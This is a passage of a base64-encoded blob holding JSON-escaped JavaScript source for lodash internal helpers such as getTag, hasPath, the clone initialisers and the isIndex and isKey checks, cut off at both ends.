ZlcigxKSkpICE9IGRhdGFWaWV3VGFnKSB8fFxuICAgICAgICAoTWFwICYmIGdldFRhZyhuZXcgTWFwKSAhPSBtYXBUYWcpIHx8XG4gICAgICAgIChQcm9taXNlICYmIGdldFRhZyhQcm9taXNlLnJlc29sdmUoKSkgIT0gcHJvbWlzZVRhZykgfHxcbiAgICAgICAgKFNldCAmJiBnZXRUYWcobmV3IFNldCkgIT0gc2V0VGFnKSB8fFxuICAgICAgICAoV2Vha01hcCAmJiBnZXRUYWcobmV3IFdlYWtNYXApICE9IHdlYWtNYXBUYWcpKSB7XG4gICAgICBnZXRUYWcgPSBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICB2YXIgcmVzdWx0ID0gYmFzZUdldFRhZyh2YWx1ZSksXG4gICAgICAgICAgICBDdG9yID0gcmVzdWx0ID09IG9iamVjdFRhZyA/IHZhbHVlLmNvbnN0cnVjdG9yIDogdW5kZWZpbmVkLFxuICAgICAgICAgICAgY3RvclN0cmluZyA9IEN0b3IgPyB0b1NvdXJjZShDdG9yKSA6ICcnO1xuXG4gICAgICAgIGlmIChjdG9yU3RyaW5nKSB7XG4gICAgICAgICAgc3dpdGNoIChjdG9yU3RyaW5nKSB7XG4gICAgICAgICAgICBjYXNlIGRhdGFWaWV3Q3RvclN0cmluZzogcmV0dXJuIGRhdGFWaWV3VGFnO1xuICAgICAgICAgICAgY2FzZSBtYXBDdG9yU3RyaW5nOiByZXR1cm4gbWFwVGFnO1xuICAgICAgICAgICAgY2FzZSBwcm9taXNlQ3RvclN0cmluZzogcmV0dXJuIHByb21pc2VUYWc7XG4gICAgICAgICAgICBjYXNlIHNldEN0b3JTdHJpbmc6IHJldHVybiBzZXRUYWc7XG4gICAgICAgICAgICBjYXNlIHdlYWtNYXBDdG9yU3RyaW5nOiByZXR1cm4gd2Vha01hcFRhZztcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgdmlldywgYXBwbHlpbmcgYW55IGB0cmFuc2Zvcm1zYCB0byB0aGUgYHN0YXJ0YCBhbmQgYGVuZGAgcG9zaXRpb25zLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gc3RhcnQgVGhlIHN0YXJ0IG9mIHRoZSB2aWV3LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBlbmQgVGhlIGVuZCBvZiB0aGUgdmlldy5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSB0cmFuc2Zvcm1zIFRoZSB0cmFuc2Zvcm1hdGlvbnMgdG8gYXBwbHkgdG8gdGhlIHZpZXcuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBhbiBvYmplY3QgY29udGFpbmluZyB0aGUgYHN0YXJ0YCBhbmQgYGVuZGBcbiAgICAgKiAgcG9zaXRpb25zIG9mIHRoZSB2aWV3LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGdldFZpZXcoc3RhcnQsIGVuZCwgdHJhbnNmb3Jtcykge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgbGVuZ3RoID0gdHJhbnNmb3Jtcy5sZW5ndGg7XG5cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciBkYXRhID0gdHJhbnNmb3Jtc1tpbmRleF0sXG4gICAgICAgICAgICBzaXplID0gZGF0YS5zaXplO1xuXG4gICAgICAgIHN3aXRjaCAoZGF0YS50eXBlKSB7XG4gICAgICAgICAgY2FzZSAnZHJvcCc6ICAgICAgc3RhcnQgKz0gc2l6ZTsgYnJlYWs7XG4gICAgICAgICAgY2FzZSAnZHJvcFJpZ2h0JzogZW5kIC09IHNpemU7IGJyZWFrO1xuICAgICAgICAgIGNhc2UgJ3Rha2UnOiAgICAgIGVuZCA9IG5hdGl2ZU1pbihlbmQsIHN0YXJ0ICsgc2l6ZSk7IGJyZWFrO1xuICAgICAgICAgIGNhc2UgJ3Rha2VSaWdodCc6IHN0YXJ0ID0gbmF0aXZlTWF4KHN0YXJ0LCBlbmQgLSBzaXplKTsgYnJlYWs7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiB7ICdzdGFydCc6IHN0YXJ0LCAnZW5kJzogZW5kIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogRXh0cmFjdHMgd3JhcHBlciBkZXRhaWxzIGZyb20gdGhlIGBzb3VyY2VgIGJvZHkgY29tbWVudC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IHNvdXJjZSBUaGUgc291cmNlIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSB3cmFwcGVyIGRldGFpbHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gZ2V0V3JhcERldGFpbHMoc291cmNlKSB7XG4gICAgICB2YXIgbWF0Y2ggPSBzb3VyY2UubWF0Y2gocmVXcmFwRGV0YWlscyk7XG4gICAgICByZXR1cm4gbWF0Y2ggPyBtYXRjaFsxXS5zcGxpdChyZVNwbGl0RGV0YWlscykgOiBbXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHBhdGhgIGV4aXN0cyBvbiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIHRvIGNoZWNrLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGhhc0Z1bmMgVGhlIGZ1bmN0aW9uIHRvIGNoZWNrIHByb3BlcnRpZXMuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGBwYXRoYCBleGlzdHMsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBoYXNQYXRoKG9iamVjdCwgcGF0aCwgaGFzRnVuYykge1xuICAgICAgcGF0aCA9IGNhc3RQYXRoKHBhdGgsIG9iamVjdCk7XG5cbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHBhdGgubGVuZ3RoLFxuICAgICAgICAgIHJlc3VsdCA9IGZhbHNlO1xuXG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIga2V5ID0gdG9LZXkocGF0aFtpbmRleF0pO1xuICAgICAgICBpZiAoIShyZXN1bHQgPSBvYmplY3QgIT0gbnVsbCAmJiBoYXNGdW5jKG9iamVjdCwga2V5KSkpIHtcbiAgICAgICAgICBicmVhaztcbiAgICAgICAgfVxuICAgICAgICBvYmplY3QgPSBvYmplY3Rba2V5XTtcbiAgICAgIH1cbiAgICAgIGlmIChyZXN1bHQgfHwgKytpbmRleCAhPSBsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIGxlbmd0aCA9IG9iamVjdCA9PSBudWxsID8gMCA6IG9iamVjdC5sZW5ndGg7XG4gICAgICByZXR1cm4gISFsZW5ndGggJiYgaXNMZW5ndGgobGVuZ3RoKSAmJiBpc0luZGV4KGtleSwgbGVuZ3RoKSAmJlxuICAgICAgICAoaXNBcnJheShvYmplY3QpIHx8IGlzQXJndW1lbnRzKG9iamVjdCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEluaXRpYWxpemVzIGFuIGFycmF5IGNsb25lLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gY2xvbmUuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBpbml0aWFsaXplZCBjbG9uZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpbml0Q2xvbmVBcnJheShhcnJheSkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgICByZXN1bHQgPSBuZXcgYXJyYXkuY29uc3RydWN0b3IobGVuZ3RoKTtcblxuICAgICAgLy8gQWRkIHByb3BlcnRpZXMgYXNzaWduZWQgYnkgYFJlZ0V4cCNleGVjYC5cbiAgICAgIGlmIChsZW5ndGggJiYgdHlwZW9mIGFycmF5WzBdID09ICdzdHJpbmcnICYmIGhhc093blByb3BlcnR5LmNhbGwoYXJyYXksICdpbmRleCcpKSB7XG4gICAgICAgIHJlc3VsdC5pbmRleCA9IGFycmF5LmluZGV4O1xuICAgICAgICByZXN1bHQuaW5wdXQgPSBhcnJheS5pbnB1dDtcbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogSW5pdGlhbGl6ZXMgYW4gb2JqZWN0IGNsb25lLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gY2xvbmUuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgaW5pdGlhbGl6ZWQgY2xvbmUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gaW5pdENsb25lT2JqZWN0KG9iamVjdCkge1xuICAgICAgcmV0dXJuICh0eXBlb2Ygb2JqZWN0LmNvbnN0cnVjdG9yID09ICdmdW5jdGlvbicgJiYgIWlzUHJvdG90eXBlKG9iamVjdCkpXG4gICAgICAgID8gYmFzZUNyZWF0ZShnZXRQcm90b3R5cGUob2JqZWN0KSlcbiAgICAgICAgOiB7fTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBJbml0aWFsaXplcyBhbiBvYmplY3QgY2xvbmUgYmFzZWQgb24gaXRzIGB0b1N0cmluZ1RhZ2AuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBmdW5jdGlvbiBvbmx5IHN1cHBvcnRzIGNsb25pbmcgdmFsdWVzIHdpdGggdGFncyBvZlxuICAgICAqIGBCb29sZWFuYCwgYERhdGVgLCBgRXJyb3JgLCBgTWFwYCwgYE51bWJlcmAsIGBSZWdFeHBgLCBgU2V0YCwgb3IgYFN0cmluZ2AuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBjbG9uZS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gdGFnIFRoZSBgdG9TdHJpbmdUYWdgIG9mIHRoZSBvYmplY3QgdG8gY2xvbmUuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbaXNEZWVwXSBTcGVjaWZ5IGEgZGVlcCBjbG9uZS5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBpbml0aWFsaXplZCBjbG9uZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpbml0Q2xvbmVCeVRhZyhvYmplY3QsIHRhZywgaXNEZWVwKSB7XG4gICAgICB2YXIgQ3RvciA9IG9iamVjdC5jb25zdHJ1Y3RvcjtcbiAgICAgIHN3aXRjaCAodGFnKSB7XG4gICAgICAgIGNhc2UgYXJyYXlCdWZmZXJUYWc6XG4gICAgICAgICAgcmV0dXJuIGNsb25lQXJyYXlCdWZmZXIob2JqZWN0KTtcblxuICAgICAgICBjYXNlIGJvb2xUYWc6XG4gICAgICAgIGNhc2UgZGF0ZVRhZzpcbiAgICAgICAgICByZXR1cm4gbmV3IEN0b3IoK29iamVjdCk7XG5cbiAgICAgICAgY2FzZSBkYXRhVmlld1RhZzpcbiAgICAgICAgICByZXR1cm4gY2xvbmVEYXRhVmlldyhvYmplY3QsIGlzRGVlcCk7XG5cbiAgICAgICAgY2FzZSBmbG9hdDMyVGFnOiBjYXNlIGZsb2F0NjRUYWc6XG4gICAgICAgIGNhc2UgaW50OFRhZzogY2FzZSBpbnQxNlRhZzogY2FzZSBpbnQzMlRhZzpcbiAgICAgICAgY2FzZSB1aW50OFRhZzogY2FzZSB1aW50OENsYW1wZWRUYWc6IGNhc2UgdWludDE2VGFnOiBjYXNlIHVpbnQzMlRhZzpcbiAgICAgICAgICByZXR1cm4gY2xvbmVUeXBlZEFycmF5KG9iamVjdCwgaXNEZWVwKTtcblxuICAgICAgICBjYXNlIG1hcFRhZzpcbiAgICAgICAgICByZXR1cm4gbmV3IEN0b3I7XG5cbiAgICAgICAgY2FzZSBudW1iZXJUYWc6XG4gICAgICAgIGNhc2Ugc3RyaW5nVGFnOlxuICAgICAgICAgIHJldHVybiBuZXcgQ3RvcihvYmplY3QpO1xuXG4gICAgICAgIGNhc2UgcmVnZXhwVGFnOlxuICAgICAgICAgIHJldHVybiBjbG9uZVJlZ0V4cChvYmplY3QpO1xuXG4gICAgICAgIGNhc2Ugc2V0VGFnOlxuICAgICAgICAgIHJldHVybiBuZXcgQ3RvcjtcblxuICAgICAgICBjYXNlIHN5bWJvbFRhZzpcbiAgICAgICAgICByZXR1cm4gY2xvbmVTeW1ib2wob2JqZWN0KTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBJbnNlcnRzIHdyYXBwZXIgYGRldGFpbHNgIGluIGEgY29tbWVudCBhdCB0aGUgdG9wIG9mIHRoZSBgc291cmNlYCBib2R5LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gc291cmNlIFRoZSBzb3VyY2UgdG8gbW9kaWZ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gZGV0YWlscyBUaGUgZGV0YWlscyB0byBpbnNlcnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgbW9kaWZpZWQgc291cmNlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGluc2VydFdyYXBEZXRhaWxzKHNvdXJjZSwgZGV0YWlscykge1xuICAgICAgdmFyIGxlbmd0aCA9IGRldGFpbHMubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIHNvdXJjZTtcbiAgICAgIH1cbiAgICAgIHZhciBsYXN0SW5kZXggPSBsZW5ndGggLSAxO1xuICAgICAgZGV0YWlsc1tsYXN0SW5kZXhdID0gKGxlbmd0aCA+IDEgPyAnJiAnIDogJycpICsgZGV0YWlsc1tsYXN0SW5kZXhdO1xuICAgICAgZGV0YWlscyA9IGRldGFpbHMuam9pbihsZW5ndGggPiAyID8gJywgJyA6ICcgJyk7XG4gICAgICByZXR1cm4gc291cmNlLnJlcGxhY2UocmVXcmFwQ29tbWVudCwgJ3tcXG4vKiBbd3JhcHBlZCB3aXRoICcgKyBkZXRhaWxzICsgJ10gKi9cXG4nKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhIGZsYXR0ZW5hYmxlIGBhcmd1bWVudHNgIG9iamVjdCBvciBhcnJheS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgZmxhdHRlbmFibGUsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0ZsYXR0ZW5hYmxlKHZhbHVlKSB7XG4gICAgICByZXR1cm4gaXNBcnJheSh2YWx1ZSkgfHwgaXNBcmd1bWVudHModmFsdWUpIHx8XG4gICAgICAgICEhKHNwcmVhZGFibGVTeW1ib2wgJiYgdmFsdWUgJiYgdmFsdWVbc3ByZWFkYWJsZVN5bWJvbF0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgdmFsaWQgYXJyYXktbGlrZSBpbmRleC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsZW5ndGg9TUFYX1NBRkVfSU5URUdFUl0gVGhlIHVwcGVyIGJvdW5kcyBvZiBhIHZhbGlkIGluZGV4LlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgdmFsaWQgaW5kZXgsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0luZGV4KHZhbHVlLCBsZW5ndGgpIHtcbiAgICAgIHZhciB0eXBlID0gdHlwZW9mIHZhbHVlO1xuICAgICAgbGVuZ3RoID0gbGVuZ3RoID09IG51bGwgPyBNQVhfU0FGRV9JTlRFR0VSIDogbGVuZ3RoO1xuXG4gICAgICByZXR1cm4gISFsZW5ndGggJiZcbiAgICAgICAgKHR5cGUgPT0gJ251bWJlcicgfHxcbiAgICAgICAgICAodHlwZSAhPSAnc3ltYm9sJyAmJiByZUlzVWludC50ZXN0KHZhbHVlKSkpICYmXG4gICAgICAgICAgICAodmFsdWUgPiAtMSAmJiB2YWx1ZSAlIDEgPT0gMCAmJiB2YWx1ZSA8IGxlbmd0aCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIHRoZSBnaXZlbiBhcmd1bWVudHMgYXJlIGZyb20gYW4gaXRlcmF0ZWUgY2FsbC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgcG90ZW50aWFsIGl0ZXJhdGVlIHZhbHVlIGFyZ3VtZW50LlxuICAgICAqIEBwYXJhbSB7Kn0gaW5kZXggVGhlIHBvdGVudGlhbCBpdGVyYXRlZSBpbmRleCBvciBrZXkgYXJndW1lbnQuXG4gICAgICogQHBhcmFtIHsqfSBvYmplY3QgVGhlIHBvdGVudGlhbCBpdGVyYXRlZSBvYmplY3QgYXJndW1lbnQuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSBhcmd1bWVudHMgYXJlIGZyb20gYW4gaXRlcmF0ZWUgY2FsbCxcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzSXRlcmF0ZWVDYWxsKHZhbHVlLCBpbmRleCwgb2JqZWN0KSB7XG4gICAgICBpZiAoIWlzT2JqZWN0KG9iamVjdCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgdmFyIHR5cGUgPSB0eXBlb2YgaW5kZXg7XG4gICAgICBpZiAodHlwZSA9PSAnbnVtYmVyJ1xuICAgICAgICAgICAgPyAoaXNBcnJheUxpa2Uob2JqZWN0KSAmJiBpc0luZGV4KGluZGV4LCBvYmplY3QubGVuZ3RoKSlcbiAgICAgICAgICAgIDogKHR5cGUgPT0gJ3N0cmluZycgJiYgaW5kZXggaW4gb2JqZWN0KVxuICAgICAgICAgICkge1xuICAgICAgICByZXR1cm4gZXEob2JqZWN0W2luZGV4XSwgdmFsdWUpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgcHJvcGVydHkgbmFtZSBhbmQgbm90IGEgcHJvcGVydHkgcGF0aC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtvYmplY3RdIFRoZSBvYmplY3QgdG8gcXVlcnkga2V5cyBvbi5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHByb3BlcnR5IG5hbWUsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0tleSh2YWx1ZSwgb2JqZWN0KSB7XG4gICAgICBpZiAoaXNBcnJheSh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgfVxuICAgICAgdmFyIHR5cGUgPSB0eXBlb2YgdmFsdWU7XG4gICAgICBpZiAodHlwZSA9PSAnbnVtYmVyJyB8fCB0eXBlID09ICdzeW1ib2wnIHx8IHR5cGUgPT0gJ2Jvb2xlYW4nIHx8XG4gICAgICAgICAgdmFsdWUgPT0gbnVsbCB8fCBpc1N5bWJvbCh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVJc1BsYWluUHJvcC50ZXN0KHZhbHVlKSB8fCAhcmVJc0RlZXBQcm9wLnRlc3QodmFsdWUpIHx8XG4gICAgICAgIChvYmplY3QgIT0gbnVsbCAmJiB2YWx1ZSBpbiBPYmplY3Qob2JqZWN0KSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgc3VpdGFibGUgZm9yIHVzZSBhcyB1bmlxdWUgb2JqZWN0IGtleS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgc3VpdGFibGUsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0tleWFibGUodmFsdWUpIHtcbiAgICAgIHZhciB0eXBlID0gdHlwZW9mIHZhbHVlO1xuICAgICAgcmV0dXJuICh0eXBlID09ICdzdHJpbmcnIHx8IHR5cGUgPT0gJ251bWJlcicgfHwgdHlwZSA9PSAnc3ltYm9sJyB8fCB0eXBlID09ICdib29sZWFuJylcbiAgICAgICAgPyAodmFsdWUgIT09ICdfX3Byb3RvX18nKVxuICAgICAgICA6ICh2YWx1ZSA9PT0gbnVsbCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGBmdW5jYCBoYXMgYSBsYXp5IGNvdW50ZXJwYXJ0LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYGZ1bmNgIGhhcyBhIGxhenkgY291bnRlcnBhcnQsXG4gICAgICogIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0xhemlhYmxlKGZ1bmMpIHtcbiAgICAgIHZhciBmdW5jTmFtZSA9IGdldEZ1bmNOYW1lKGZ1bmMpLFxuICAgICAgICAgIG90aGVyID0gbG9kYXNoW2Z1bmNOYW1lXTtcblxuICAgICAgaWYgKHR5cGVvZiBvdGhlciAhPSAnZnVuY3Rpb24nIHx8ICEoZnVuY05hbWUgaW4gTGF6eVdyYXBwZXIucHJvdG90eXBlKSkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgICBpZiAoZnVuYyA9PT0gb3RoZXIpIHtcbiAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICB9XG4gICAgICB2YXIgZGF0YSA9IGdldERhdGEob3RoZXIpO1xuICAgICAgcmV0dXJuICEhZGF0YSAmJiBmdW5jID09PSBkYXRhWzBdO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgZnVuY2AgaGFzIGl0cyBzb3VyY2UgbWFza2VkLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYGZ1bmNgIGlzIG1hc2tlZCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzTWFza2VkKGZ1bmMpIHtcbiAgICAgIHJldHVybiAhIW1hc2tTcmNLZXkgJiYgKG1hc2tTcmNLZXkgaW4gZnVuYyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGBmdW5jYCBpcyBjYXBhYmxlIG9mIGJlaW5nIG1hc2tlZC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGBmdW5jYCBpcyBtYXNrYWJsZSwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIHZhciBpc01hc2thYmxlID0gY29yZUpzRGF0YSA/IGlzRnVuY3Rpb24gOiBzdHViRmFsc2U7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBsaWtlbHkgYSBwcm90b3R5cGUgb2JqZWN0LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHByb3RvdHlwZSwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzUHJvdG90eXBlKHZhbHVlKSB7XG4gICAgICB2YXIgQ3RvciA9IHZhbHVlICYmIHZhbHVlLmNvbnN0cnVjdG9yLFxuICAgICAgICAgIHByb3RvID0gKHR5cGVvZiBDdG9yID09ICdmdW5jdGlvbicgJiYgQ3Rvci5wcm90b3R5cGUpIHx8IG9iamVjdFByb3RvO1xuXG4gICAgICByZXR1cm4gdmFsdWUgPT09IHByb3RvO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIHN1aXRhYmxlIGZvciBzdHJpY3QgZXF1YWxpdHkgY29tcGFyaXNvbnMsIGkuZS4gYD09PWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlmIHN1aXRhYmxlIGZvciBzdHJpY3RcbiAgICAgKiAgZXF1YWxpdHkgY29tcGFyaXNvbnMsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc1N0cmljdENvbXBhcmFibGUodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PT0gdmFsdWUgJiYgIWlzT2JqZWN0KHZhbHVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYG1hdGNoZXNQcm9wZXJ0eWAgZm9yIHNvdXJjZSB2YWx1ZXMgc3VpdGFibGVcbiAgICAgKiBmb3Igc3RyaWN0IGVxdWFsaXR5IGNvbXBhcmlzb25zLCBpLmUuIGA9PT1gLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIGdldC5cbiAgICAgKiBAcGFyYW0geyp9IHNyY1ZhbHVlIFRoZSB2YWx1ZSB0byBtYXRjaC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBzcGVjIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hdGNoZXNTdHJpY3RDb21wYXJhYmxlKGtleSwgc3JjVmFsdWUpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbihvYmplY3QpIHtcbiAgICAgICAgaWYgKG9iamVjdCA9PSBudWxsKSB7XG4gICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBvYmplY3Rba2V5XSA9PT0gc3JjVmFsdWUgJiZcbiAgICAgICAgICAoc3JjVmFsdWUgIT09IHVuZGVmaW5lZCB8fCAoa2V5IGluIE9iamVjdChvYmplY3QpKSk7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5tZW1vaXplYCB3aGljaCBjbGVhcnMgdGhlIG1lbW9pemVkIGZ1bmN0aW9uJ3NcbiAgICAgKiBjYWNoZSB3aGVuIGl0IGV4Y2VlZHMgYE1BWF9NRU1PSVpFX1NJWkVgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBA